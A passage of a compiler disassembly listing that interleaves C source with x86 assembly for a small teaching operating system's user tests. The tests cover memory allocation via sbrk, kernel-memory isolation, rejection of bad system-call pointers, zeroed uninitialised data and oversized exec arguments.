char *a, *b, *c, *lastaddr, *oldbrk, *p, scratch;
uint amt;
printf(stdout, "sbrk test\n");
30f1: a1 c4 62 00 00 mov 0x62c4,%eax
30f6: c7 44 24 04 eb 57 00 movl $0x57eb,0x4(%esp)
30fd: 00
30fe: 89 04 24 mov %eax,(%esp)
3101: e8 2f 0f 00 00 call 4035 <printf>
oldbrk = sbrk(0);
3106: c7 04 24 00 00 00 00 movl $0x0,(%esp)
310d: e8 2b 0e 00 00 call 3f3d <sbrk>
3112: 89 45 ec mov %eax,-0x14(%ebp)
// can one sbrk() less than a page?
a = sbrk(0);
3115: c7 04 24 00 00 00 00 movl $0x0,(%esp)
311c: e8 1c 0e 00 00 call 3f3d <sbrk>
3121: 89 45 f4 mov %eax,-0xc(%ebp)
int i;
for(i = 0; i < 5000; i++){
3124: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
312b: eb 59 jmp 3186 <sbrktest+0x9f>
b = sbrk(1);
312d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3134: e8 04 0e 00 00 call 3f3d <sbrk>
3139: 89 45 e8 mov %eax,-0x18(%ebp)
if(b != a){
313c: 8b 45 e8 mov -0x18(%ebp),%eax
313f: 3b 45 f4 cmp -0xc(%ebp),%eax
3142: 74 2f je 3173 <sbrktest+0x8c>
printf(stdout, "sbrk test failed %d %x %x\n", i, a, b);
3144: a1 c4 62 00 00 mov 0x62c4,%eax
3149: 8b 55 e8 mov -0x18(%ebp),%edx
314c: 89 54 24 10 mov %edx,0x10(%esp)
3150: 8b 55 f4 mov -0xc(%ebp),%edx
3153: 89 54 24 0c mov %edx,0xc(%esp)
3157: 8b 55 f0 mov -0x10(%ebp),%edx
315a: 89 54 24 08 mov %edx,0x8(%esp)
315e: c7 44 24 04 f6 57 00 movl $0x57f6,0x4(%esp)
3165: 00
3166: 89 04 24 mov %eax,(%esp)
3169: e8 c7 0e 00 00 call 4035 <printf>
exit();
316e: e8 42 0d 00 00 call 3eb5 <exit>
}
*b = 1;
3173: 8b 45 e8 mov -0x18(%ebp),%eax
3176: c6 00 01 movb $0x1,(%eax)
a = b + 1;
3179: 8b 45 e8 mov -0x18(%ebp),%eax
317c: 83 c0 01 add $0x1,%eax
317f: 89 45 f4 mov %eax,-0xc(%ebp)
oldbrk = sbrk(0);
// can one sbrk() less than a page?
a = sbrk(0);
int i;
for(i = 0; i < 5000; i++){
3182: 83 45 f0 01 addl $0x1,-0x10(%ebp)
3186: 81 7d f0 87 13 00 00 cmpl $0x1387,-0x10(%ebp)
318d: 7e 9e jle 312d <sbrktest+0x46>
exit();
}
*b = 1;
a = b + 1;
}
pid = fork();
318f: e8 19 0d 00 00 call 3ead <fork>
3194: 89 45 e4 mov %eax,-0x1c(%ebp)
if(pid < 0){
3197: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
319b: 79 1a jns 31b7 <sbrktest+0xd0>
printf(stdout, "sbrk test fork failed\n");
319d: a1 c4 62 00 00 mov 0x62c4,%eax
31a2: c7 44 24 04 11 58 00 movl $0x5811,0x4(%esp)
31a9: 00
31aa: 89 04 24 mov %eax,(%esp)
31ad: e8 83 0e 00 00 call 4035 <printf>
exit();
31b2: e8 fe 0c 00 00 call 3eb5 <exit>
}
c = sbrk(1);
31b7: c7 04 24 01 00 00 00 movl $0x1,(%esp)
31be: e8 7a 0d 00 00 call 3f3d <sbrk>
31c3: 89 45 e0 mov %eax,-0x20(%ebp)
c = sbrk(1);
31c6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
31cd: e8 6b 0d 00 00 call 3f3d <sbrk>
31d2: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a + 1){
31d5: 8b 45 f4 mov -0xc(%ebp),%eax
31d8: 83 c0 01 add $0x1,%eax
31db: 3b 45 e0 cmp -0x20(%ebp),%eax
31de: 74 1a je 31fa <sbrktest+0x113>
printf(stdout, "sbrk test failed post-fork\n");
31e0: a1 c4 62 00 00 mov 0x62c4,%eax
31e5: c7 44 24 04 28 58 00 movl $0x5828,0x4(%esp)
31ec: 00
31ed: 89 04 24 mov %eax,(%esp)
31f0: e8 40 0e 00 00 call 4035 <printf>
exit();
31f5: e8 bb 0c 00 00 call 3eb5 <exit>
}
if(pid == 0)
31fa: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
31fe: 75 05 jne 3205 <sbrktest+0x11e>
exit();
3200: e8 b0 0c 00 00 call 3eb5 <exit>
wait();
3205: e8 b3 0c 00 00 call 3ebd <wait>
// can one grow address space to something big?
#define BIG (100*1024*1024)
a = sbrk(0);
320a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3211: e8 27 0d 00 00 call 3f3d <sbrk>
3216: 89 45 f4 mov %eax,-0xc(%ebp)
amt = (BIG) - (uint)a;
3219: 8b 45 f4 mov -0xc(%ebp),%eax
321c: ba 00 00 40 06 mov $0x6400000,%edx
3221: 29 c2 sub %eax,%edx
3223: 89 d0 mov %edx,%eax
3225: 89 45 dc mov %eax,-0x24(%ebp)
p = sbrk(amt);
3228: 8b 45 dc mov -0x24(%ebp),%eax
322b: 89 04 24 mov %eax,(%esp)
322e: e8 0a 0d 00 00 call 3f3d <sbrk>
3233: 89 45 d8 mov %eax,-0x28(%ebp)
if (p != a) {
3236: 8b 45 d8 mov -0x28(%ebp),%eax
3239: 3b 45 f4 cmp -0xc(%ebp),%eax
323c: 74 1a je 3258 <sbrktest+0x171>
printf(stdout, "sbrk test failed to grow big address space; enough phys mem?\n");
323e: a1 c4 62 00 00 mov 0x62c4,%eax
3243: c7 44 24 04 44 58 00 movl $0x5844,0x4(%esp)
324a: 00
324b: 89 04 24 mov %eax,(%esp)
324e: e8 e2 0d 00 00 call 4035 <printf>
exit();
3253: e8 5d 0c 00 00 call 3eb5 <exit>
}
lastaddr = (char*) (BIG-1);
3258: c7 45 d4 ff ff 3f 06 movl $0x63fffff,-0x2c(%ebp)
*lastaddr = 99;
325f: 8b 45 d4 mov -0x2c(%ebp),%eax
3262: c6 00 63 movb $0x63,(%eax)
// can one de-allocate?
a = sbrk(0);
3265: c7 04 24 00 00 00 00 movl $0x0,(%esp)
326c: e8 cc 0c 00 00 call 3f3d <sbrk>
3271: 89 45 f4 mov %eax,-0xc(%ebp)
c = sbrk(-4096);
3274: c7 04 24 00 f0 ff ff movl $0xfffff000,(%esp)
327b: e8 bd 0c 00 00 call 3f3d <sbrk>
3280: 89 45 e0 mov %eax,-0x20(%ebp)
if(c == (char*)0xffffffff){
3283: 83 7d e0 ff cmpl $0xffffffff,-0x20(%ebp)
3287: 75 1a jne 32a3 <sbrktest+0x1bc>
printf(stdout, "sbrk could not deallocate\n");
3289: a1 c4 62 00 00 mov 0x62c4,%eax
328e: c7 44 24 04 82 58 00 movl $0x5882,0x4(%esp)
3295: 00
3296: 89 04 24 mov %eax,(%esp)
3299: e8 97 0d 00 00 call 4035 <printf>
exit();
329e: e8 12 0c 00 00 call 3eb5 <exit>
}
c = sbrk(0);
32a3: c7 04 24 00 00 00 00 movl $0x0,(%esp)
32aa: e8 8e 0c 00 00 call 3f3d <sbrk>
32af: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a - 4096){
32b2: 8b 45 f4 mov -0xc(%ebp),%eax
32b5: 2d 00 10 00 00 sub $0x1000,%eax
32ba: 3b 45 e0 cmp -0x20(%ebp),%eax
32bd: 74 28 je 32e7 <sbrktest+0x200>
printf(stdout, "sbrk deallocation produced wrong address, a %x c %x\n", a, c);
32bf: a1 c4 62 00 00 mov 0x62c4,%eax
32c4: 8b 55 e0 mov -0x20(%ebp),%edx
32c7: 89 54 24 0c mov %edx,0xc(%esp)
32cb: 8b 55 f4 mov -0xc(%ebp),%edx
32ce: 89 54 24 08 mov %edx,0x8(%esp)
32d2: c7 44 24 04 a0 58 00 movl $0x58a0,0x4(%esp)
32d9: 00
32da: 89 04 24 mov %eax,(%esp)
32dd: e8 53 0d 00 00 call 4035 <printf>
exit();
32e2: e8 ce 0b 00 00 call 3eb5 <exit>
}
// can one re-allocate that page?
a = sbrk(0);
32e7: c7 04 24 00 00 00 00 movl $0x0,(%esp)
32ee: e8 4a 0c 00 00 call 3f3d <sbrk>
32f3: 89 45 f4 mov %eax,-0xc(%ebp)
c = sbrk(4096);
32f6: c7 04 24 00 10 00 00 movl $0x1000,(%esp)
32fd: e8 3b 0c 00 00 call 3f3d <sbrk>
3302: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a || sbrk(0) != a + 4096){
3305: 8b 45 e0 mov -0x20(%ebp),%eax
3308: 3b 45 f4 cmp -0xc(%ebp),%eax
330b: 75 19 jne 3326 <sbrktest+0x23f>
330d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3314: e8 24 0c 00 00 call 3f3d <sbrk>
3319: 8b 55 f4 mov -0xc(%ebp),%edx
331c: 81 c2 00 10 00 00 add $0x1000,%edx
3322: 39 d0 cmp %edx,%eax
3324: 74 28 je 334e <sbrktest+0x267>
printf(stdout, "sbrk re-allocation failed, a %x c %x\n", a, c);
3326: a1 c4 62 00 00 mov 0x62c4,%eax
332b: 8b 55 e0 mov -0x20(%ebp),%edx
332e: 89 54 24 0c mov %edx,0xc(%esp)
3332: 8b 55 f4 mov -0xc(%ebp),%edx
3335: 89 54 24 08 mov %edx,0x8(%esp)
3339: c7 44 24 04 d8 58 00 movl $0x58d8,0x4(%esp)
3340: 00
3341: 89 04 24 mov %eax,(%esp)
3344: e8 ec 0c 00 00 call 4035 <printf>
exit();
3349: e8 67 0b 00 00 call 3eb5 <exit>
}
if(*lastaddr == 99){
334e: 8b 45 d4 mov -0x2c(%ebp),%eax
3351: 0f b6 00 movzbl (%eax),%eax
3354: 3c 63 cmp $0x63,%al
3356: 75 1a jne 3372 <sbrktest+0x28b>
// should be zero
printf(stdout, "sbrk de-allocation didn't really deallocate\n");
3358: a1 c4 62 00 00 mov 0x62c4,%eax
335d: c7 44 24 04 00 59 00 movl $0x5900,0x4(%esp)
3364: 00
3365: 89 04 24 mov %eax,(%esp)
3368: e8 c8 0c 00 00 call 4035 <printf>
exit();
336d: e8 43 0b 00 00 call 3eb5 <exit>
}
a = sbrk(0);
3372: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3379: e8 bf 0b 00 00 call 3f3d <sbrk>
337e: 89 45 f4 mov %eax,-0xc(%ebp)
c = sbrk(-(sbrk(0) - oldbrk));
3381: 8b 5d ec mov -0x14(%ebp),%ebx
3384: c7 04 24 00 00 00 00 movl $0x0,(%esp)
338b: e8 ad 0b 00 00 call 3f3d <sbrk>
3390: 29 c3 sub %eax,%ebx
3392: 89 d8 mov %ebx,%eax
3394: 89 04 24 mov %eax,(%esp)
3397: e8 a1 0b 00 00 call 3f3d <sbrk>
339c: 89 45 e0 mov %eax,-0x20(%ebp)
if(c != a){
339f: 8b 45 e0 mov -0x20(%ebp),%eax
33a2: 3b 45 f4 cmp -0xc(%ebp),%eax
33a5: 74 28 je 33cf <sbrktest+0x2e8>
printf(stdout, "sbrk downsize failed, a %x c %x\n", a, c);
33a7: a1 c4 62 00 00 mov 0x62c4,%eax
33ac: 8b 55 e0 mov -0x20(%ebp),%edx
33af: 89 54 24 0c mov %edx,0xc(%esp)
33b3: 8b 55 f4 mov -0xc(%ebp),%edx
33b6: 89 54 24 08 mov %edx,0x8(%esp)
33ba: c7 44 24 04 30 59 00 movl $0x5930,0x4(%esp)
33c1: 00
33c2: 89 04 24 mov %eax,(%esp)
33c5: e8 6b 0c 00 00 call 4035 <printf>
exit();
33ca: e8 e6 0a 00 00 call 3eb5 <exit>
}
// can we read the kernel's memory?
for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){
33cf: c7 45 f4 00 00 00 80 movl $0x80000000,-0xc(%ebp)
33d6: eb 7b jmp 3453 <sbrktest+0x36c>
ppid = getpid();
33d8: e8 58 0b 00 00 call 3f35 <getpid>
33dd: 89 45 d0 mov %eax,-0x30(%ebp)
pid = fork();
33e0: e8 c8 0a 00 00 call 3ead <fork>
33e5: 89 45 e4 mov %eax,-0x1c(%ebp)
if(pid < 0){
33e8: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
33ec: 79 1a jns 3408 <sbrktest+0x321>
printf(stdout, "fork failed\n");
33ee: a1 c4 62 00 00 mov 0x62c4,%eax
33f3: c7 44 24 04 a5 44 00 movl $0x44a5,0x4(%esp)
33fa: 00
33fb: 89 04 24 mov %eax,(%esp)
33fe: e8 32 0c 00 00 call 4035 <printf>
exit();
3403: e8 ad 0a 00 00 call 3eb5 <exit>
}
if(pid == 0){
3408: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
340c: 75 39 jne 3447 <sbrktest+0x360>
printf(stdout, "oops could read %x = %x\n", a, *a);
340e: 8b 45 f4 mov -0xc(%ebp),%eax
3411: 0f b6 00 movzbl (%eax),%eax
3414: 0f be d0 movsbl %al,%edx
3417: a1 c4 62 00 00 mov 0x62c4,%eax
341c: 89 54 24 0c mov %edx,0xc(%esp)
3420: 8b 55 f4 mov -0xc(%ebp),%edx
3423: 89 54 24 08 mov %edx,0x8(%esp)
3427: c7 44 24 04 51 59 00 movl $0x5951,0x4(%esp)
342e: 00
342f: 89 04 24 mov %eax,(%esp)
3432: e8 fe 0b 00 00 call 4035 <printf>
kill(ppid);
3437: 8b 45 d0 mov -0x30(%ebp),%eax
343a: 89 04 24 mov %eax,(%esp)
343d: e8 a3 0a 00 00 call 3ee5 <kill>
exit();
3442: e8 6e 0a 00 00 call 3eb5 <exit>
}
wait();
3447: e8 71 0a 00 00 call 3ebd <wait>
printf(stdout, "sbrk downsize failed, a %x c %x\n", a, c);
exit();
}
// can we read the kernel's memory?
for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){
344c: 81 45 f4 50 c3 00 00 addl $0xc350,-0xc(%ebp)
3453: 81 7d f4 7f 84 1e 80 cmpl $0x801e847f,-0xc(%ebp)
345a: 0f 86 78 ff ff ff jbe 33d8 <sbrktest+0x2f1>
wait();
}
// if we run the system out of memory, does it clean up the last
// failed allocation?
if(pipe(fds) != 0){
3460: 8d 45 c8 lea -0x38(%ebp),%eax
3463: 89 04 24 mov %eax,(%esp)
3466: e8 5a 0a 00 00 call 3ec5 <pipe>
346b: 85 c0 test %eax,%eax
346d: 74 19 je 3488 <sbrktest+0x3a1>
printf(1, "pipe() failed\n");
346f: c7 44 24 04 76 48 00 movl $0x4876,0x4(%esp)
3476: 00
3477: c7 04 24 01 00 00 00 movl $0x1,(%esp)
347e: e8 b2 0b 00 00 call 4035 <printf>
exit();
3483: e8 2d 0a 00 00 call 3eb5 <exit>
}
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
3488: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
348f: e9 87 00 00 00 jmp 351b <sbrktest+0x434>
if((pids[i] = fork()) == 0){
3494: e8 14 0a 00 00 call 3ead <fork>
3499: 8b 55 f0 mov -0x10(%ebp),%edx
349c: 89 44 95 a0 mov %eax,-0x60(%ebp,%edx,4)
34a0: 8b 45 f0 mov -0x10(%ebp),%eax
34a3: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
34a7: 85 c0 test %eax,%eax
34a9: 75 46 jne 34f1 <sbrktest+0x40a>
// allocate a lot of memory
sbrk(BIG - (uint)sbrk(0));
34ab: c7 04 24 00 00 00 00 movl $0x0,(%esp)
34b2: e8 86 0a 00 00 call 3f3d <sbrk>
34b7: ba 00 00 40 06 mov $0x6400000,%edx
34bc: 29 c2 sub %eax,%edx
34be: 89 d0 mov %edx,%eax
34c0: 89 04 24 mov %eax,(%esp)
34c3: e8 75 0a 00 00 call 3f3d <sbrk>
write(fds[1], "x", 1);
34c8: 8b 45 cc mov -0x34(%ebp),%eax
34cb: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
34d2: 00
34d3: c7 44 24 04 db 48 00 movl $0x48db,0x4(%esp)
34da: 00
34db: 89 04 24 mov %eax,(%esp)
34de: e8 f2 09 00 00 call 3ed5 <write>
// sit around until killed
for(;;) sleep(1000);
34e3: c7 04 24 e8 03 00 00 movl $0x3e8,(%esp)
34ea: e8 56 0a 00 00 call 3f45 <sleep>
34ef: eb f2 jmp 34e3 <sbrktest+0x3fc>
}
if(pids[i] != -1)
34f1: 8b 45 f0 mov -0x10(%ebp),%eax
34f4: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
34f8: 83 f8 ff cmp $0xffffffff,%eax
34fb: 74 1a je 3517 <sbrktest+0x430>
read(fds[0], &scratch, 1);
34fd: 8b 45 c8 mov -0x38(%ebp),%eax
3500: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3507: 00
3508: 8d 55 9f lea -0x61(%ebp),%edx
350b: 89 54 24 04 mov %edx,0x4(%esp)
350f: 89 04 24 mov %eax,(%esp)
3512: e8 b6 09 00 00 call 3ecd <read>
// failed allocation?
if(pipe(fds) != 0){
printf(1, "pipe() failed\n");
exit();
}
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
3517: 83 45 f0 01 addl $0x1,-0x10(%ebp)
351b: 8b 45 f0 mov -0x10(%ebp),%eax
351e: 83 f8 09 cmp $0x9,%eax
3521: 0f 86 6d ff ff ff jbe 3494 <sbrktest+0x3ad>
if(pids[i] != -1)
read(fds[0], &scratch, 1);
}
// if those failed allocations freed up the pages they did allocate,
// we'll be able to allocate here
c = sbrk(4096);
3527: c7 04 24 00 10 00 00 movl $0x1000,(%esp)
352e: e8 0a 0a 00 00 call 3f3d <sbrk>
3533: 89 45 e0 mov %eax,-0x20(%ebp)
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
3536: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
353d: eb 26 jmp 3565 <sbrktest+0x47e>
if(pids[i] == -1)
353f: 8b 45 f0 mov -0x10(%ebp),%eax
3542: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
3546: 83 f8 ff cmp $0xffffffff,%eax
3549: 75 02 jne 354d <sbrktest+0x466>
continue;
354b: eb 14 jmp 3561 <sbrktest+0x47a>
kill(pids[i]);
354d: 8b 45 f0 mov -0x10(%ebp),%eax
3550: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
3554: 89 04 24 mov %eax,(%esp)
3557: e8 89 09 00 00 call 3ee5 <kill>
wait();
355c: e8 5c 09 00 00 call 3ebd <wait>
read(fds[0], &scratch, 1);
}
// if those failed allocations freed up the pages they did allocate,
// we'll be able to allocate here
c = sbrk(4096);
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
3561: 83 45 f0 01 addl $0x1,-0x10(%ebp)
3565: 8b 45 f0 mov -0x10(%ebp),%eax
3568: 83 f8 09 cmp $0x9,%eax
356b: 76 d2 jbe 353f <sbrktest+0x458>
if(pids[i] == -1)
continue;
kill(pids[i]);
wait();
}
if(c == (char*)0xffffffff){
356d: 83 7d e0 ff cmpl $0xffffffff,-0x20(%ebp)
3571: 75 1a jne 358d <sbrktest+0x4a6>
printf(stdout, "failed sbrk leaked memory\n");
3573: a1 c4 62 00 00 mov 0x62c4,%eax
3578: c7 44 24 04 6a 59 00 movl $0x596a,0x4(%esp)
357f: 00
3580: 89 04 24 mov %eax,(%esp)
3583: e8 ad 0a 00 00 call 4035 <printf>
exit();
3588: e8 28 09 00 00 call 3eb5 <exit>
}
if(sbrk(0) > oldbrk)
358d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3594: e8 a4 09 00 00 call 3f3d <sbrk>
3599: 3b 45 ec cmp -0x14(%ebp),%eax
359c: 76 1b jbe 35b9 <sbrktest+0x4d2>
sbrk(-(sbrk(0) - oldbrk));
359e: 8b 5d ec mov -0x14(%ebp),%ebx
35a1: c7 04 24 00 00 00 00 movl $0x0,(%esp)
35a8: e8 90 09 00 00 call 3f3d <sbrk>
35ad: 29 c3 sub %eax,%ebx
35af: 89 d8 mov %ebx,%eax
35b1: 89 04 24 mov %eax,(%esp)
35b4: e8 84 09 00 00 call 3f3d <sbrk>
printf(stdout, "sbrk test OK\n");
35b9: a1 c4 62 00 00 mov 0x62c4,%eax
35be: c7 44 24 04 85 59 00 movl $0x5985,0x4(%esp)
35c5: 00
35c6: 89 04 24 mov %eax,(%esp)
35c9: e8 67 0a 00 00 call 4035 <printf>
}
35ce: 81 c4 84 00 00 00 add $0x84,%esp
35d4: 5b pop %ebx
35d5: 5d pop %ebp
35d6: c3 ret
000035d7 <validateint>:
void
validateint(int *p)
{
35d7: 55 push %ebp
35d8: 89 e5 mov %esp,%ebp
35da: 53 push %ebx
35db: 83 ec 10 sub $0x10,%esp
int res;
asm("mov %%esp, %%ebx\n\t"
35de: b8 0d 00 00 00 mov $0xd,%eax
35e3: 8b 55 08 mov 0x8(%ebp),%edx
35e6: 89 d1 mov %edx,%ecx
35e8: 89 e3 mov %esp,%ebx
35ea: 89 cc mov %ecx,%esp
35ec: cd 40 int $0x40
35ee: 89 dc mov %ebx,%esp
35f0: 89 45 f8 mov %eax,-0x8(%ebp)
"int %2\n\t"
"mov %%ebx, %%esp" :
"=a" (res) :
"a" (SYS_sleep), "n" (T_SYSCALL), "c" (p) :
"ebx");
}
35f3: 83 c4 10 add $0x10,%esp
35f6: 5b pop %ebx
35f7: 5d pop %ebp
35f8: c3 ret
000035f9 <validatetest>:
void
validatetest(void)
{
35f9: 55 push %ebp
35fa: 89 e5 mov %esp,%ebp
35fc: 83 ec 28 sub $0x28,%esp
int hi, pid;
uint p;
printf(stdout, "validate test\n");
35ff: a1 c4 62 00 00 mov 0x62c4,%eax
3604: c7 44 24 04 93 59 00 movl $0x5993,0x4(%esp)
360b: 00
360c: 89 04 24 mov %eax,(%esp)
360f: e8 21 0a 00 00 call 4035 <printf>
hi = 1100*1024;
3614: c7 45 f0 00 30 11 00 movl $0x113000,-0x10(%ebp)
for(p = 0; p <= (uint)hi; p += 4096){
361b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
3622: eb 7f jmp 36a3 <validatetest+0xaa>
if((pid = fork()) == 0){
3624: e8 84 08 00 00 call 3ead <fork>
3629: 89 45 ec mov %eax,-0x14(%ebp)
362c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
3630: 75 10 jne 3642 <validatetest+0x49>
// try to crash the kernel by passing in a badly placed integer
validateint((int*)p);
3632: 8b 45 f4 mov -0xc(%ebp),%eax
3635: 89 04 24 mov %eax,(%esp)
3638: e8 9a ff ff ff call 35d7 <validateint>
exit();
363d: e8 73 08 00 00 call 3eb5 <exit>
}
sleep(0);
3642: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3649: e8 f7 08 00 00 call 3f45 <sleep>
sleep(0);
364e: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3655: e8 eb 08 00 00 call 3f45 <sleep>
kill(pid);
365a: 8b 45 ec mov -0x14(%ebp),%eax
365d: 89 04 24 mov %eax,(%esp)
3660: e8 80 08 00 00 call 3ee5 <kill>
wait();
3665: e8 53 08 00 00 call 3ebd <wait>
// try to crash the kernel by passing in a bad string pointer
if(link("nosuchfile", (char*)p) != -1){
366a: 8b 45 f4 mov -0xc(%ebp),%eax
366d: 89 44 24 04 mov %eax,0x4(%esp)
3671: c7 04 24 a2 59 00 00 movl $0x59a2,(%esp)
3678: e8 98 08 00 00 call 3f15 <link>
367d: 83 f8 ff cmp $0xffffffff,%eax
3680: 74 1a je 369c <validatetest+0xa3>
printf(stdout, "link should not succeed\n");
3682: a1 c4 62 00 00 mov 0x62c4,%eax
3687: c7 44 24 04 ad 59 00 movl $0x59ad,0x4(%esp)
368e: 00
368f: 89 04 24 mov %eax,(%esp)
3692: e8 9e 09 00 00 call 4035 <printf>
exit();
3697: e8 19 08 00 00 call 3eb5 <exit>
uint p;
printf(stdout, "validate test\n");
hi = 1100*1024;
for(p = 0; p <= (uint)hi; p += 4096){
369c: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
36a3: 8b 45 f0 mov -0x10(%ebp),%eax
36a6: 3b 45 f4 cmp -0xc(%ebp),%eax
36a9: 0f 83 75 ff ff ff jae 3624 <validatetest+0x2b>
printf(stdout, "link should not succeed\n");
exit();
}
}
printf(stdout, "validate ok\n");
36af: a1 c4 62 00 00 mov 0x62c4,%eax
36b4: c7 44 24 04 c6 59 00 movl $0x59c6,0x4(%esp)
36bb: 00
36bc: 89 04 24 mov %eax,(%esp)
36bf: e8 71 09 00 00 call 4035 <printf>
}
36c4: c9 leave
36c5: c3 ret
000036c6 <bsstest>:
// does unintialized data start out zero?
char uninit[10000];
void
bsstest(void)
{
36c6: 55 push %ebp
36c7: 89 e5 mov %esp,%ebp
36c9: 83 ec 28 sub $0x28,%esp
int i;
printf(stdout, "bss test\n");
36cc: a1 c4 62 00 00 mov 0x62c4,%eax
36d1: c7 44 24 04 d3 59 00 movl $0x59d3,0x4(%esp)
36d8: 00
36d9: 89 04 24 mov %eax,(%esp)
36dc: e8 54 09 00 00 call 4035 <printf>
for(i = 0; i < sizeof(uninit); i++){
36e1: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
36e8: eb 2d jmp 3717 <bsstest+0x51>
if(uninit[i] != '\0'){
36ea: 8b 45 f4 mov -0xc(%ebp),%eax
36ed: 05 80 63 00 00 add $0x6380,%eax
36f2: 0f b6 00 movzbl (%eax),%eax
36f5: 84 c0 test %al,%al
36f7: 74 1a je 3713 <bsstest+0x4d>
printf(stdout, "bss test failed\n");
36f9: a1 c4 62 00 00 mov 0x62c4,%eax
36fe: c7 44 24 04 dd 59 00 movl $0x59dd,0x4(%esp)
3705: 00
3706: 89 04 24 mov %eax,(%esp)
3709: e8 27 09 00 00 call 4035 <printf>
exit();
370e: e8 a2 07 00 00 call 3eb5 <exit>
bsstest(void)
{
int i;
printf(stdout, "bss test\n");
for(i = 0; i < sizeof(uninit); i++){
3713: 83 45 f4 01 addl $0x1,-0xc(%ebp)
3717: 8b 45 f4 mov -0xc(%ebp),%eax
371a: 3d 0f 27 00 00 cmp $0x270f,%eax
371f: 76 c9 jbe 36ea <bsstest+0x24>
if(uninit[i] != '\0'){
printf(stdout, "bss test failed\n");
exit();
}
}
printf(stdout, "bss test ok\n");
3721: a1 c4 62 00 00 mov 0x62c4,%eax
3726: c7 44 24 04 ee 59 00 movl $0x59ee,0x4(%esp)
372d: 00
372e: 89 04 24 mov %eax,(%esp)
3731: e8 ff 08 00 00 call 4035 <printf>
}
3736: c9 leave
3737: c3 ret
00003738 <bigargtest>:
// does exec return an error if the arguments
// are larger than a page? or does it write
// below the stack and wreck the instructions/data?
void
bigargtest(void)
{
3738: 55 push %ebp
3739: 89 e5 mov %esp,%ebp
373b: 83 ec 28 sub $0x28,%esp
int pid, fd;
unlink("bigarg-ok");
373e: c7 04 24 fb 59 00 00 movl $0x59fb,(%esp)
3745: e8 bb 07 00 00 call 3f05 <unlink>
pid = fork();
374a: e8 5e 07 00 00 call 3ead <fork>
374f: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid == 0){
3752: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3756: 0f 85 90 00 00 00 jne 37ec <bigargtest+0xb4>
static char *args[MAXARG];
int i;
for(i = 0; i < MAXARG-1; i++)
375c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
3763: eb 12 jmp 3777 <bigargtest+0x3f>
args[i] = "bigargs test: failed\n ";
3765: 8b 45 f4 mov -0xc(%ebp),%eax
3768: c7 04 85 e0 62 00 00 movl $0x5a08,0x62e0(,%eax,4)
376f: 08 5a 00 00
unlink("bigarg-ok");
pid = fork();
if(pid == 0){
static char *args[MAXARG];
int i;
for(i = 0; i < MAXARG-1; i++)
3773: 83 45 f4 01 addl $0x1,-0xc(%ebp)
3777: 83 7d f4 1e cmpl $0x1e,-0xc(%ebp)
377b: 7e e8 jle 3765 <bigargtest+0x2d>
args[i] = "bigargs test: failed\n ";
args[MAXARG-1] = 0;
377d: c7 05 5c 63 00 00 00 movl $0x0,0x635c
3784: 00 00 00
printf(stdout, "bigarg test\n");
3787: a1 c4 62 00 00 mov 0x62c4,%eax
378c: c7 44 24 04 e5 5a 00 movl $0x5ae5,0x4(%esp)
3793: 00
3794: 89 04 24 mov %eax,(%esp)
3797: e8 99 08 00 00 call 4035 <printf>
exec("echo", args);
379c: c7 44 24 04 e0 62 00 movl $0x62e0,0x4(%esp)
37a3: 00
37a4: c7 04 24 04 44 00 00 movl $0x4404,(%esp)
37ab: e8 3d 07 00 00 call 3eed <exec>
printf(stdout, "bigarg test ok\n");
37b0: a1 c4 62 00 00 mov 0x62c4,%eax
37b5: c7 44 24 04 f2 5a 00 movl $0x5af2,0x4(%esp)
37bc: 00
37bd: 89 04 24 mov %eax,(%esp)
37c0: e8 70 08 00 00 call 4035 <printf>
fd = open("bigarg-ok", O_CREATE);
37c5: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
37cc: 00
37cd: c7 04 24 fb 59 00 00 movl $0x59fb,(%esp)
37d4: e8 1c 07 00 00 call 3ef5 <open>
37d9: 89 45 ec mov %eax,-0x14(%ebp)
close(fd);
37dc: 8b 45 ec mov -0x14(%ebp),%eax
37df: 89 04 24 mov %eax,(%esp)
37e2: e8 f6 06 00 00 call 3edd <close>
exit();
37e7: e8 c9 06 00 00 call 3eb5 <exit>
} else if(pid < 0){
37ec: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
37f0: 79 1a jns 380c <bigargtest+0xd4>
printf(stdout, "bigargtest: fork failed\n");
37f2: a1 c4 62 00 00 mov 0x62c4,%eax
37f7: c7 44 24 04 02 5b 00 movl $0x5b02,0x4(%esp)
37fe: 00
